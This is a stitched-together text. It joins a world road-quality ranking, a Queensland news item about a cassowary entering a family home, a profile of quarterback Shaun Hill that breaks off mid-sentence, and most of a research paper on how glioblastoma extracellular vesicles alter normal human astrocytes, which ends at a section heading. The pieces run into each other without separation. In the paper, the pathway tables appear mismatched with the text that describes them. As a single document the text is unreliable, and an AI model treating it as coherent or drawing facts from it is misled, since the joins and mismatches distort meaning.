Motorists contemplating a driving holiday would be advised to avoid East Timor. The country’s potholed and flooded roads scored 1.9 in the survey and placed the Indian Ocean nation joint bottom in the world alongside Guinea.
WEC competitiveness rankings 2014-2015: quality of roads
Rank Nation Score 1 United Arab Emirates 6.6 2 Portugal 6.3 3 Austria 6.3 4 France 6.2 5 Netherlands 6.1 6 Singapore 6.1 7 Hong Kong SAR 6.0 8 Oman 6.0 9 Switzerland 6.0 10 Japan 5.9 11 Spain 5.9 12 Taiwan, China 5.9 13 Germany 5.9 14 Finland 5.9 15 Luxembourg 5.7 16 United States 5.7 17 Croatia 5.6 18 Korea, Rep 5.6 19 Malaysia 5.6 20 Sweden 5.5 21 Denmark 5.4 22 Bahrain 5.4 23 Canada 5.3 24 Cypru 5.3 25 Ireland 5.3 26 Saudi Arabia 5.3 27 Belgium 5.3 28 Namibia 5.2 29 Puerto Rico 5.2 30 United Kingdom 5.2 31 Chile 5.1 32 Sri Lanka 5.1 33 Barbados 5.1 34 Qatar 5.0 35 New Zealand 4.9 36 Lithuania 4.9 37 South Africa 4.9 38 Slovenia 4.9 39 Iceland 4.9 40 Turkey 4.9 41 Swaziland 4.9 42 Mauritius 4.8 43 Australia 4.8 44 Panama 4.7 45 Israel 4.7 46 Rwanda 4.7 47 El Salvador 4.6 48 Kuwait 4.6 49 China 4.6 50 Thailand 4.5 51 Morocco 4.5 52 Mexico 4.4 53 Dominican Republic 4.4 54 Estonia 4.4 55 Greece 4.3 56 Bhutan 4.3 57 Italy 4.3 58 Hungary 4.2 59 Kenya 4.2 60 Seychelles 4.2 61 Jordan 4.1 62 Gambia, The 4.1 63 Iran, Islamic Rep. 4.1 64 Cape Verde 4.0 65 Georgia 4.0 66 Trinidad and Tobago 4.0 67 Botswana 4.0 68 Lao PDR 4.0 69 Azerbaijan 4.0 70 Suriname 4.0 71 Albania 3.9 72 Indonesia 3.9 73 Côte d’Ivoire 3.9 74 Norway 3.9 75 Pakistan 3.8 76 India 3.8 77 Ethiopia 3.8 78 Guatemala 3.7 79 Ghana 3.7 80 Armenia 3.7 81 Czech Republic 3.7 82 Slovak Republic 3.7 83 Tunisia 3.7 84 Jamaica 3.7 85 Malta 3.7 86 Zambia 3.6 87 Philippines 3.6 88 Nicaragua 3.6 89 Poland 3.5 90 Uruguay 3.5 91 Macedonia, FYR 3.4 92 Senegal 3.4 93 Cambodia 3.4 94 Mali 3.4 95 Bolivia 3.3 96 Honduras 3.3 97 Lesotho 3.3 98 Montenegro 3.3 99 Malawi 3.3 100 Zimbabwe 3.3 101 Burundi 3.2 102 Peru 3.2 103 Guyana 3.2 104 Vietnam 3.2 105 Uganda 3.2 106 Bulgaria 3.1 107 Algeria 3.1 108 Latvia 3.1 109 Tajikistan 3.0 110 Argentina 3.0 111 Sierra Leone 3.0 112 Tanzania 3.0 113 Kazakhstan 3.0 114 Serbia 2.9 115 Nepal 2.9 116 Cameroon 2.9 117 Bangladesh 2.9 118 Egypt 2.9 119 Costa Rica 2.8 120 Lebanon 2.8 121 Romania 2.8 122 Brazil 2.8 123 Kyrgyz Republic 2.7 124 Russian Federation 2.7 125 Nigeria 2.7 126 Colombia 2.7 127 Venezuela 2.6 128 Chad 2.6 129 Madagascar 2.6 130 Mongolia 2.6 131 Yemen 2.5 132 Burkina Faso 2.5 133 Paraguay 2.5 134 Myanmar 2.4 135 Gabon 2.4 136 Haiti 2.4 137 Mauritania 2.3 138 Angola 2.3 139 Ukraine 2.2 140 Moldova 2.1 141 Mozambique 2.1 142 Libya 2.1 143 Guinea 1.9 144 Timor-leste 1.9
Take to the road in East Timor
Video: TimorAdventures.com.au
Search for and buy your next car on driving.co.ukAustralian native bird considered to be dangerous has long wandered through the backyard in Queensland’s north but until this week stayed outside
A cassowary named Peanut has surprised a Queensland family by venturing into their home as they were preparing dinner.
Sue and Peter Leach, from Wongaling Beach in the state’s north, were forced to take cover after discovering the native bird – which can grow up to 2m tall – standing in their lounge-dining room.
Queensland cassowary rehabilitation centre saved Read more
“We leave all the doors open when we’re at home and I guess he was curious, but I hot-footed it out of the house and hid in the garage because although we know him he is still a wild animal,” Sue Leach told the Cairns Post.
Peanut, thought to be about three years old, has long wandered through the Leach backyard but until this week had stayed outside.
“My husband hid behind the dining room table and took some photos and he was only in there for a few minutes. He must have come in through the garage door and walked back out the front door.”
Equipped with three sharp claws – one curved, two straight – on each leg and able to run up to 50km/h, the cassowary has been named by the Guinness Book of Records as the world’s most dangerous bird.
The title is granted largely on the basis of the bird’s lethal potential, not its record: no one is known to have been killed by the gaudy animal since 1926, when 16-year-old Phillip McLean reportedly had his throat punctured by a bird on his Queensland ranch.
Leach said on Thursday she was glad Peanut “didn’t do a poo because they are massive and, because cassowaries eat quite a few berries, their poo is quite purple and it would stain the floor. I’m also glad he didn’t spot the fruit bowl”.
She is going to take precautionary measures in the future. “I might have to put the grandkids’ baby gate back up,” she said.Shaun Hill is the starting quarterback for the San Francisco 49ers. Based on how the media portrays professional athletes, the logical conclusion is that Hill leads a flamboyant lifestyle filled with glitz, glamour and bling. As a permanent resident of the Lake of the Ozarks, the assumption could be that Hill owns a multi-million dollar home with a fancyschmancy boat parked out front.
Hill is a most unpretentious professional athlete in an over-zealous system. His favorite place to hang out at the Lake? The Elks Lodge on Hwy. 54 in Osage Beach. His home is a modest lakefront house on the Glaize Arm of the Lake. It is a work in progress as he and his girlfriend Ashton oversee renovations. His boat? A bass boat, and a recently acquired 26-foot Cobalt. His car? A 2004 Chevy Silverado with 130,000 miles.
Even his path to the professional ranks is non-descript. “I didn’t have the best high school (football) career,” he said modestly during a mid-summer interview while on hiatus from summer camp with the 49ers.
He wasn’t highly sought after in the NFL draft, either.
Yet, there were seeds of promise at an early age. As a youth, he watched football and basketball practice every day after school. Sports seemed to dominate his life.
“Sports was my babysitter,” Hill smiled.
Despite a modest start to his football career, Hill was a three-year starter at quarterback at Parsons (KS) High School and a two-year starter at free safety. He was a two-time All-Southeast Kansas League first team selection and an honorable mention all-stater as a senior.
Sports were a huge part of Hill’s youth since his dad was a high school coach and teacher. When Hill was a senior, his father Ted was the assistant principal, the offensive line football coach and the head basketball coach. His dad was one of the top high school coaches in Kansas during the 1980s and ’90s. His mom Trudy drove him to various sports practices.
With his command of the gridiron today, it’s ironic that his favorite sports in high school were anything but football. He lettered in basketball, baseball and track at Parsons High School and was a three-time all conference standout in basketball. As a team captain in hoops, he earned all-state honors three years and guided the team to the state tournament as a sophomore and senior. He also qualified for the state track meet as a senior.
“I started to enjoy football at 17 or 18” Hill recalled. “Because of the physicality of the sport, I felt a guy my size and with my athletic ability should pursue football. I felt I had a better chance at football.”
Hill wasn’t highly recruited out of high school, though he got some attention from Pittsburgh (KS) State University and Washburn University in Topeka, KS. Instead, he attended Hutchison (KS) Community College two years. His accomplishments at Hutchison garnered him some attention from Southern Missouri State in Springfield (now Missouri State University), the University of Maryland and Hofstra University in New York. He chose Maryland and led the Terrapins to their first Atlantic Coast Conference title since 1985 as a senior in 2001.
Hill has been called a country boy.
Matt Barrows, who blogs for the San Francisco Bee, tagged Hill with that appropriate observation during the 2009 preseason. Hill and Alex Smith, the 49ers’ former top draft pick, had a skeet-shooting duel, which Hill won. That light-hearted competition evolved into a friendship of sorts as Smith and his wife visited Hill for some bass fishing and possibly some camping at the Lake.
Hill was born and raised in Parsons, KS, a town of about 12,000. The relatively rural upbringing in a conservative part of a conservative state helped create Hill’s propensity for the quiet life.
“I was kind of a good kid, actually,” Hill recalled. “Sports took up a lot of my time, and I worked the same job at a fireworks stand.”
Pretty typical for a Midwestern boy |
. Extracellular vesicles (EVs) are membrane-enclosed nanospheres released locally and systemically by all cells, including tumours, with tremendous potential for intercellular communication. Tumour EVs manipulate their local environments as well as distal targets; EVs may be a mechanism for tumourigenesis in the recurrent GBM setting. We hypothesized that GBM EVs drive molecular changes in normal human astrocytes (NHAs), yielding phenotypically tumour-promoting, or even tumourigenic, entities. We incubated NHAs with GBM EVs and examined the astrocytes for changes in cell migration, cytokine release and tumour cell growth promotion via the conditioned media. We measured alterations in intracellular signalling and transformation capacity (astrocyte growth in soft agar). GBM EV-treated NHAs displayed increased migratory capacity, along with enhanced cytokine production which promoted tumour cell growth. GBM EV-treated NHAs developed tumour-like signalling patterns and exhibited colony formation in soft agar, reminiscent of tumour cells themselves. GBM EVs modify the local environment to benefit the tumour itself, co-opting neighbouring astrocytes to promote tumour growth, and perhaps even driving astrocytes to a tumourigenic phenotype. Such biological activities could have profound impacts in the recurrent GBM setting.
1. Introduction
Glioblastoma multiforme (GBM) is a devastating primary central nervous system (CNS) tumour with poor outcomes. The median survival is less than 15 months with a poor quality of life, despite aggressive surgical resection and combined chemo-radiation [1,2]. Current therapies display limited clinical success, especially in the setting of recurrent GBM [3–6]. Innovative strides in understanding GBM biology are necessary for improved therapy. Extracellular vesicles (EVs) are membrane-enclosed nanospheres released directly from the cell membrane (i.e. ‘microvesicles’) or from the endosomal system via fusion of multi-vesicular bodies with the cytoplasmic membrane (i.e. ‘exosomes’); this presumably occurs in all cell types [7,8]. The potential involvement of EVs in GBM pathobiology is becoming more and more recognized [9,10].
Tumour EVs have an extraordinary ability to modulate the tumour microenvironment [11–16], recruiting recipient cells to support tumour growth and progression. EV surface elements have been shown to mirror those of the tumour and remodel the extracellular matrix with matrix metalloproteinases, and transfer drug resistance with P-glycoprotein [17–19]. Given the wide variety of signalling molecules, bioactive lipids and functional RNAs within EVs, particularly tumour-derived EVs, they represent ideal candidates for transfer of information and activities that could generate delinquency in normal cells. However, no studies to date have characterized the effects of GBM EVs on peritumoural astrocytes. We lack almost any information on the impacts of GBM EVs on astrocytes in terms of phenotypic changes relating to proliferation, migration or signalling involving the recipient cells. Studies conducted on other cancer models, however, show that these effects on stromal/microenvironmental cells can be profound [20–24].
GBM EVs likely remain within the vicinity of the resection cavity following tumour excision, altering the behaviour of the surgically spared normal cells such as resident astrocytes. It is conceivable that ensuing therapeutic intervention (chemotherapy and targeted radiation) would leave degrees of damage to those normal cells that would enable the transformative impacts of tumour EVs in the vicinity. This may be due to the transfer of tumour-related RNAs, proteins, metabolites or by the tumour EVs promoting signalling changes in the astrocytes themselves. Thus, GBM EVs may play a role in co-opting neighbouring astrocytes to promote recurrent growth, or possibly, the astrocytes in the resection cavity may even be transformed. Understanding the effects of tumour-derived EVs on NHAs will likely become necessary in a full accounting of how to treat recurrent GBM. Here, we demonstrate that different concentrations of glioma-derived EVs have differential effects on the migratory capabilities, cytokine outputs, tumour cell growth promotion, intracellular signalling pathways and activation/transformation status of NHAs.
2. Material and methods
(a) Cell lines
E8-5 and F3-8 are GBM cell lines derived from surgically resected primary intracranial tumours from patients receiving treatment at the University of Colorado Hospital. Histologically, E8-5 originated in the patient's left parietal lobe, and is a World Health Organization (WHO) grade IV glioma, classic small cell variant, with loss of phosphatase and tensin homolog (PTEN) and gene amplification of epidermal growth factor receptor (EGFR). It is negative for 1p/19q co-deletion. F3-8 originated in the patient's left frontal lobe, and is an atypical small cell variant grade IV glioma without IDH1 mutation. Freshly resected tumours were placed in Neurobasal A (NBA) medium without phenol red (Thermo Fisher/Invitrogen Technologies, Waltham, MA, USA). Tumour cells were mechanically dissociated, filtered through a 100 µm cell strainer (Corning Life Sciences, Tewksbury, MA, USA) and were cultured under stem cell-like conditions in NBA supplemented with 2 mM l-glutamine, 1X B27 and N2, and 5 ng ml−1 basic fibroblast growth factor (FGF) and epidermal growth factor (EGF) (Thermo Fisher/Invitrogen). Normal human astrocytes (NHAs) were obtained from Lonza, and cultured in astrocyte basal growth media (ABM™) with astrocyte growth medium supplements (AGM; Lonza Inc., Anaheim, CA, USA). These cells were obtained from a human fetus, 18 weeks' gestation; the tissue is donated following permission for use in research applications by informed consent or legal authorization. Tissue origin is cerebral cortex (grey matter), and the cells are considered type I astrocytes. Cells are frozen after the second passage. The cells stain positive for glial fibrillary acidic protein, and show morphological characteristics of astrocytes. The cells are guaranteed for 10 additional doublings, and were expanded and used between passages 7 and 10. We purchased cells twice and received the same lot number (presumably the same astrocyte source) both times.
Normal human epithelial cells were obtained from healthy donor urine; cells were harvested from voided urine by centrifugation (400g, 10 min, RT). Cells were initially cultured in Dulbecco’s modified eagle medium (DMEM)/Ham's F12/10% fetal bovine serum (FBS)/Renal Cell Growth Medium supplements (Lonza). Cells were cultured on 0.1% gelatin-coated plates. Cells were switched to ‘proliferation medium’ (the aforementioned medium + DMEM/Glutamax + non-essential amino acids (Sigma-Aldrich, St Louis, MO, USA), + 5 ng ml−1 basic fibroblast growth factor (bFGF), epidermal growth factor (EGF), platelet-derived growth factor (PDGF) (Lonza)) before conversion to the aforementioned NBA with supplements. All cells were cultured at 37°C/5% CO 2. This study was approved by the Colorado Combined Institutional Review Board (COMIRB, protocol no. 13-3007) and patients provided written consent, all consistent with NIH guidelines.
(b) Extracellular vesicle purification and characterization
EV extraction and purification from cell culture media were conducted as described [16], via filtration and differential centrifugation (diagrammed in figure 1). Note that the medium used was serum-free. Following resuspension of the pellet after high-speed centrifugation, we routinely extrude the materials through 20 and 25 G needles to break up EV clumps and disperse protein aggregates. Remaining aggregates are then removed by filtration through a 0.45 µm filter. EVs were verified using Exo-Check arrays (System Biosciences/SBI, Palo Alto, CA, USA) for eight purported exosome/EV markers. Nanoparticle tracking analysis (NTA) (NanoSight LM10 device, Malvern, Westborough, MA, USA) was used to verify that the particles were within the anticipated size range of 30–150 nm, although some are clearly larger (figure 1). Figure 1. Extraction and purification of EVs from GBM cell lines. (a) Two GBM cell lines viewed under light microscopy. E8-5 and F3-8, were dissociated and grown under stem cell-like conditions in supplemented NBA medium (Invitrogen Technologies). Scale bar, 100 µm. (b) EV purification from cell culture media was conducted as described [16]. (c) NTA (Nanosight) was used to determine sizes and concentrations of vesicles; EVs were verified using ExoCheck arrays for eight purported EV markers.
Vesicle concentrations used (50 and 500 µg ml−1) were based on previous studies [16,25] that were correlated with putative cellular microenvironment concentrations compared to blood concentrations. We also took into account other reports of blood and cerebral spinal fluid particle numbers derived from patients with brain tumours [26,27]. We then chose doses that would allow for a log increase that we could accommodate with EV purification yields.
(c) Normal human astrocyte migration/wound-healing assay
Migration capacity of NHAs exposed to 0 or 50 µg ml−1 GBM EVs was measured using standard procedures for a wound-healing assay, essentially as described [28]. Briefly, NHAs at 80–90% confluency in 6-well plates (Corning) were scratched with a 200 µl pipet tip to generate a gap between cells. GBM EVs were added (or not), and wound closure was measured at 24 h (compared to the distance at 0 h). Measurements of ‘wound healing’ were performed using NIH Image J.
(d) Cytokine release/‘secretome’ assays
Proteome Profiler Human XL Cytokine Array ARY022B and Human Cytokine Array Panel A ARY005 (R&D Systems, Minneapolis, MN, USA) were performed as per the manufacturer's protocols. Briefly, NHAs (2 × 106 per T75 flask in 10 ml medium) were washed with PBS and then treated with 0 or 500 µg ml−1 of GBM EVs or normal epithelial cell EVs (diluted into ABM medium) for 4 or 24 h. Culture media were collected (in addition, cell lysates were prepared) after the allotted incubation time. Arrays were developed with chemiluminescence and spot intensities quantified using a FluorChem Q developer with AlphaView software (ProteinSimple, San Jose, CA, USA). Background was subtracted from each membrane, and average luminosity from duplicate spots was compared between treatment groups.
(e) Glioblastoma multiforme cell proliferation in conditioned medium from glioblastoma multiforme extracellular vesicle-treated normal human astrocytes
F3-8 GBM cells were transferred from NBA to ABM medium, and were grown in 24-well plates at 5 × 104 cells well−1. Conditioned medium from NHAs that were treated with 0, 50 or 500 µg ml−1 GBM EVs (24 h) was used to replace the old medium. Conditioned astrocyte medium was centrifuged (2000g, 15 min) to remove any cells before adding the medium to the GBM cells. After 24 h, GBM cell proliferation was measured by MTS assay (Cell Titer 96 Aqueous One, Promega, Madison, WI, USA).
(f) Normal human astrocyte signalling profile following exposure to glioblastoma multiforme extracellular vesicles
NHAs (2 × 106 per T75 flask in 10 ml medium) were treated with 0, 50 or 500 µg ml−1 GBM EVs, and cells were harvested and lysed at 4, 8 or 24 h. Lysates were incubated on PathScan Intracellular Signaling Arrays (14471; Cell Signaling Technology, Danvers, MA, USA) following the manufacturer's instructions. Arrays were developed and quantified as described above.
(g) Normal human astrocyte growth in soft agar
NHAs were exposed to 0, 50 or 500 µg ml−1 GBM EVs for 24 h. Cells were collected and plated 1 × 106 ml−1 in soft agar (CytoSelect 96-Well Cell Transformation Assay, CBA 135; Cell Biolabs Inc., San Diego, CA, USA) as per the manufacturer's instructions. After 8 days, cell viability and proliferation were measured by MTT assay, per kit instructions.
(h) Ingenuity Pathway Analysis
Pathway and functional analysis predictions were based on ingenuity pathway analysis algorithms (IPA; http://www.ingenuity.com/; Ingenuity Systems/QIAGEN, Germantown, MD, USA). Core analyses and comparison analyses were used as described in the text or figure legends.
(i) Statistics
The fold change determinations are specified for the various experiments. Student's t-test was used to compare means. p<0.05 is considered statistically significant.
3. Results
(a) Glioblastoma multiforme cell lines and characterization of glioblastoma multiforme extracellular vesicles
GBM cell lines designated E8-5 and F3-8 were generated from freshly resected primary human gliomas acquired from patients undergoing therapeutic tumour resection surgery. Pathology, verified by a board-certified neuro-pathologist, showed the tumours as GBM small cell variant status; E8-5 showed EGFR gene expansion, while F3-8 was wild-type for IDH1. These cells were grown in serum-free, ‘stem cell’ media that promoted tumour sphere growth (figure 1a). EVs were harvested from conditioned media by differential centrifugation, filtration and concentration, and ultimately ultracentrifugation (figure 1b). NTA using NanoSight shows main peaks of particles with hydrodynamic radius of 100–120 nm (figure 1c), and antibody arrays for known EV marker proteins (ExoCheck) indicate materials with protein contents consistent with EVs (figure 1c).
Note, the ExoCheck kit refers to GM130/GOLGA2 as a marker of ‘cellular contamination’ in EV preps. This may derive from comments in the literature suggesting that proteins from non-endosomal compartments are considered ‘pollutants’ in EV preparations (e.g. [7,29]). However, GM130/GOLGA2 has been identified as an EV component in both Vesiclepedia (http://microvesicles.org/gene_summary?gene_id=2801) and Exocarta (http://www.exocarta.org/gene_summary?gene_id=2801), where both protein and mRNA were identified [13,30–32]. GM130/GOLGA2 is known to be on intracellular vesicles [33] along with Factor XIII-A/F13A1; the latter is also found in EVs (both Vesiclepedia (http://microvesicles.org/gene_summary?gene_id=2162) and Exocarta (http://www.exocarta.org/gene_summary?gene_id=2162)). Thus, we posit that GM130/GOLGA2 is likely to be a bona fide EV protein.
(b) Glioblastoma multiforme extracellular vesicles promote normal human astrocyte migration
Our previous work demonstrated that tumour EVs promote tumour cell migration [25], but impede lymphocyte migration [16]. With that background, we tested effects of GBM EVs on NHA migration using a wound-healing assay. NHAs were plated to 80–90% confluency, whereupon a scratch wound was introduced. Media containing 0 or 50 µg ml−1 E8-5 EVs replaced the conditioned media, and cells migrated into the gap for 24 h. Measurements of gap distance were taken at 0 and 24 h post-EV incubation; gap closure is listed as ‘%wound fill’ in figure 2a (results for three experiments are shown). GBM EV-treated cells covered 45–70% of the gap, compared to 15–25% for untreated cells in a 24 h period. Representative photos of the wound fill are shown in figure 2b. Figure 2. GBM EVs promote astrocyte migration. Astrocytes were obtained from a single individual. (a) Astrocytes were exposed to 50 µg ml−1 of tumour EVs and observed over a 24 h period in three separate wound fill assays (three biological replicates with three technical replicates per experiment). Compared to controls (0 µg ml−1 EVs), astrocytes displayed a significant increase in per cent wound closure in all three instances. Error bars, standard deviation. (b) Representative photos and ImageJ boundaries are shown.
(c) Glioblastoma multiforme extracellular vesicles alter normal human astrocyte cytokine production
One possible outcome of induced NHA migration driven by GBM EVs could be that NHAs may provide usable materials for the GBM. Thus, we assessed GBM EV-induced NHA cytokine release via cytokine antibody arrays measuring 105 different cytokines, chemokines and other secreted entities. We treated NHAs with 500 µg ml−1 of E8-5 EVs for 4 or 24 h, which resulted in upregulation of 40 different cytokines in the conditioned medium at over 5× control concentrations (untreated astrocyte secretions), as well as scores of others with 1.5–4× increases at 24 h. The probed arrays themselves are shown in figure 3 (left), and a heat map of the readouts is shown in right-hand side of figure 3. Note that the 4 h time point shows a very different profile when compared with control or 24 h/500 µg ml−1 GBM EV treatment. We based the time points used on our previous studies with signalling arrays and cytokine outputs [16]. We saw that there were both early and late effects that might take into account a time course of EV binding, internalization, and the potential de novo transcription, translation and release of cytokines. Additionally, we tested a different cytokine array that compared 500 µg ml−1 F3-8 GBM EV treatment to the same concentration of normal epithelial cell EVs for 24 h to determine if the effects were simply due to the quantity of EVs rather than the source. Of the 33 secretome proteins that overlapped with the previous array, 9–10 of them may be increased due to EV quantity, but the other 20+ are likely specific to GBM EV stimulation (electronic supplementary material, figure S1). Also, the tumour-derived EVs seemed to promote far greater changes in release of certain cytokines (e.g. interferon gamma (IFNG), interleukins 12, 1A, 8 and 1B), chemokine CXCL10 and factor C5. Figure 3. GBM EVs enhance astrocyte secretory outputs. Culture media from GBM EV-treated (500 µg ml−1) astrocytes were analysed on antibody microarrays (R&D Systems) for relative cytokine/chemokine/growth factor concentrations. (a) Representative arrays shown (no EV treatment (i), EV treatment (ii), with potentially important molecules noted; C, positive control spot). (b) Heat map of secretome of untreated, short-term-treated (4 h), and 24 h-treated astrocytes is shown. Results are from two biological replicates, with two technical replicates for each. Astrocytes were obtained from a single individual.
We assessed the changes in the GBM EV-stimulated NHA secretome by IPA. Table 1 presents the top canonical pathways, and diseases and biofunctions derived from the data. Notably, the themes include cell–cell communication, inflammatory responses, cell growth, movement and death. Embedded in those themes are terms related directly to cancer and tumour morphology, and more diverse inferences to immune signalling and responses. Of the top networks identified, the top three interactomes are shown in figure 4. Various cytokines and chemokines are heavily represented in those networks, but there are also notable nodes at major intracellular signalling proteins such as ERK1/2, PI3 K and AKT (figure 4a–c). Thus, analysis of the EV-stimulated NHA secretome validates the migratory capacity of the EV-treated NHAs, and suggests possible involvement of oncogenic signalling pathways. Figure 4. Results of core analysis/comparison analysis in IPA. Values from figure 3 heat map were entered into a comparison analysis in IPA. The top three networks (interactomes) are shown (named in table 1). Proteins from the array are in larger bold font, with elevated values from the array depicted in shades of red. The ‘scores’ listed are −log (p-values) and are based on the probabilities of random associations of these proteins. The significance threshold by default = 1.25. ‘Focus molecules’ refer to nodes that initiate networks. Solid blue lines show direct connections between proteins found in the array, derived from the IPA knowledgebase. Broken lines represent indirect connections arising from reasoned speculation, or via known intermediaries. Light blue/turquoise lines connect identified proteins within the network with proteins not part of the array. Line lengths (edges) between the protein nodes correlate to the degree of supportive knowledge documenting interactions. Note, we have shortened some edges to fit the interactomes into the figure.
Table 1.Top canonical pathways, diseases and biofunctions, networks discerned from ingenuity pathway analysis for nha cytokine secretion following GBM EV treatment. EGF, epidermal growth factor; FLT3, receptor-type tyrosine-protein kinase FLT3/CD135; IL-22, interleukin 22; MAPK, mitogen activated protein kinase; UVA, ultraviolet radiation A. Collapse top canonical pathways name p-value overlap UVA-induced MAPK signaling 2.92 × 10−17 8.8% 9/102 FLT3 signaling in hematopoietic progenitor cells 1.04 × 10−15 9.8% 8/82 IL-22 signalling 1.55 × 10−14 25.0% 6/24 UVB-induced MAPK signaling 4.71 × 10−14 10.6% 7/66 EGF signaling 8.89 × 10−14 9.7% 7/72 top diseases and biofunctions diseases and disorders name p-value no. molecules cancer 7.06 × 10−4 to 3.09 × 10−12 17 organismal injury and abnormalities 7.06 × 10−4 to 3.09 × 10−12 17 tumor morphology 3.75 × 10−4 to 3.09 × 10−12 9 renal and urological disease 3.54 × 10−4 to 5.34 × 10−10 9 infectious disease 5.88 × 10−4 to 1.57 × 10−8 8 molecular and cellular functions name p-value no. molecules cell death and survival 6.49 × 10−4 to 7.96 × 10−14 17 cellular development 6.57 × 10−4 to 1.96× 10−11 17 cellular growth and proliferation 6.57 × 10−4 to 1.96× 10−11 9 cell cycle 5.93 × 10−4 to 3.92× 10−11 9 cellular function and maintenance 4.90 × 10−4 to 6.93× 10−11 8 physiological system development and function name p-value no. molecules organismal functions 1.92 × 10−6 to 1.88 × 10−9 4 embryonic development 4.19 × 10−4 to 2.16 × 10−9 10 cardiovascular system development and function 5.53 × 10−4 to 3.63 × 10−9 9 organismal development 4.19 × 10−4 to 3.63 × 10−9 10 tissue development 4.42 × 10−4 to 6.39 × 10−9 12 top networks ID associated network functions score 1. cancer, cell death and survival, organismal injury and abnormalities 13 2. cardiac damage, cardiovascular disease, organismal injury and abnormalities 8 3. cancer, organismal functions, organismal injury and abnormalities 8 4. tissue morphology, dermatological diseases and conditions, hair and skin development and function 6
(d) Normal human astrocytes exposed to glioblastoma multiforme extracellular vesicles generate a growth-stimulating medium for tumour cells
As NHAs exposed to GBM EVs released an extraordinary cytokine/chemokine mixture into the extracellular milieu, we asked if that conditioned culture medium had effects on GBM cell growth. NHA-conditioned medium was prepared by incubating astrocytes in 0, 50 or 500 µg ml−1 F3-8 GBM EVs for 24 h. The medium was collected and used as growth medium for F3-8 GBM cells. F3-8 cells were adapted from NBA medium to astrocyte ABM medium for 24 h prior to replacement with the GBM EV-stimulated NHA conditioned medium. F3-8 cells were cultured for 24 h before MTS assay. Tumour cells displayed increased proliferation with NHA medium obtained from NHAs treated with increasing EV concentration (conditioned NHA medium) (figure 5). GBM cells grown in conditioned medium from the NHA cells treated with 500 µg ml−1 GBM EVs grew significantly more in that time frame compared with GBM cells grown in conditioned NHA medium from cells treated with 0 or 50 µg ml−1 GBM EVs (almost twofold higher than controls). Figure 5. GBM EV-treated astrocytes generate a growth-stimulating medium. Astrocytes are from a single individual. Astrocytes were exposed to 0, 50 or 500 µg ml−1 GBM EVs for 24 h. Conditioned astrocyte medium was collected, centrifuged to remove cells and debris, and then used as growth medium for GBM cells seeded at equal numbers. After 24 h, GBM cells were subjected to MTS assay (OD 490 as readout); fold increase over control (set = 1) is presented. Results are from three biological replicates, with six technical replicates per experiment. Error bars, standard deviation.
(e) Glioblastoma multiforme extracellular vesicles modulate normal human astrocyte intracellular signalling
Given the observed changes in NHA migration and secretome release after exposure to GBM EVs, we assessed changes in NHAs via intracellular signalling (phospho-antibody) arrays. E8-5 GBM EVs (0, 50 or 500 µg ml−1) were incubated with recipient NHAs for 4, 8 or 24 h. NHAs were washed and lysed, and the lysates were exposed to antibody arrays for specific phosphorylation sites (or cleavage products) of 18 different proteins. The arrays were quantified, and are plotted as fold change over untreated control lysates (score set = 0, figure 6). Examples of developed arrays are shown in electronic supplementary material, figure S2. Figure 6. GBM EV-treated astrocytes induce tumour-like signalling patterns that are concentration- and time-dependent. Astrocytes are from a single individual. Astrocytes were incubated with different concentrations of GBM EVs (0, 50 or 500 µg ml−1) for 4, 8 and 24 h. Phospho-antibody arrays were incubated with lysates from EV-treated astrocytes; signal intensities were background-corrected and presented as fold change over control (untreated astrocytes at 4, 8 or 24 h = 0). Results are from two biological replicates with two technical replicates for each experiment.
Examples of increased phosphorylation state with increased EV concentration include ERK1/2, STATs 1 and 3, AKT1, and p53 at 24 h. Examples of low levels of EVs increasing protein phosphorylation until surpassing a threshold concentration where the effect is reversed and phosphorylation decreases include p53, JNK, GSK3B and also PARP cleavage. Similar data profiles were also observed over increased exposure time to GBM EVs. Protein BAD continually increased in phosphorylation as time progressed, while AMPKA activation only increased after 4 h before decreasing, as did HSP27 phosphorylation.
Again, using IPA algorithms, we note that the changes in phosphorylation profiles demonstrate strong canonical pathways involving MAPKs, and IL22 signalling (table 2), the latter being highly prevalent in the GBM EV-stimulated NHA secretome (figure 3). Other recurrent themes and terms include cancer, cell death and survival, and cell and tumour morphology. The top three interactomes derived from the top three networks are shown in figure 7, with the MAPKs, JNK, ERK, AKT and p53 found in prominent nodes. Figure 7. Results of core analysis/comparison analysis in IPA. Values from figure 6 were entered into a comparison analysis in IPA. The top three networks (interactomes) are shown (named in table 2). Protein/gene names, edges, scores and focus molecules are presented as in figure 4, except that proteins with reduced values are shown in shades of green.
Table 2.Top canonical pathways, diseases and biofunctions, networks discerned from ingenuity pathway analysis for NHA intracellular signaling following GBM EV treatment. Collapse top canonical pathways name p-value overlap role of cytokines in mediating communication between immune cells 5.23 × 10−44 48.1% 25/52 hepatic fibrosis/hepatic stellate cell activation 2.75 × 10−33 15.5% 28/181 differential regulation of cytokine production in intestinal epithelial cells by IL-17A and IL-17F 4.60 × 10−32 69.6% 16/23 altered T cell and C cell signaling in rheumatoid arthritis 4.63 × 10−32 27.2% 22/81 communication between innate and adapative immune cells 6.30 × 10−32 26.8% 22/82 top diseases and biofunctions diseases and disorders name p-value no. molecules inflammatory response 5.56 × 10−20 to 2.50 × 10−88 84 cancer 4.40 × 10−21 to 6.81 × 10−57 88 organismal injury and abnormalities 4.40 × 10−21 to 6.81 × 10−57 89 inflammatory disease 9.74 × 10−21 to 3.60 × 10−54 78 tumor morphology 4.40 × 10−21 to 4.03 × 10−45 59 molecular and cellular functions name p-value no. molecules cell-to-cell signaling and interaction 5.84 × 10−20 to 5.36 × 10−84 95 cellular movement 7.79 × 10−20 to 1.13 × 10−77 91 cellular growth and proliferation 5.84 × 10−20 to 9.61 × 10−77 95 cellular development 5.16 × 10−20 to 1.46 × 10−56 88 cell death and survival 5.27 × 10−20 to 1.60 × 10−52 86 physiological system development and function name p-value no. molecules immune cell trafficking 5.56 × 10−20 to 1.13 × 10−77 80 hematological system development and function 5.84 × 10−20 to 1.38 × 10−76 89 cardiovascular system development and function 5.16 × 10−20 to 9.46 × 10−53 72 organismal development 5.16 × 10−20 to 9.46 × 10−53 68 tissue morphology 2.44 × 10−21 to 7.04 × 10−50 53 top networks ID associated network functions score 1. cell-to-cell signaling and interaction, cellular movement, immune cell trafficking 26 2. cell-to-cell signaling and interaction, cellular growth and proliferation, hematological system development and function 22 3. cell-to-cell signaling and interaction, hematological system development and function, inflammatory response 20 4. cell-to-cell signaling and interaction, growth and proliferation, hematological system development and function 20 5. cellular movement, lipid metabolism, molecular transport 18
(f) Transformative effect of glioblastoma multiforme extracellular vesicles on normal human astrocytes
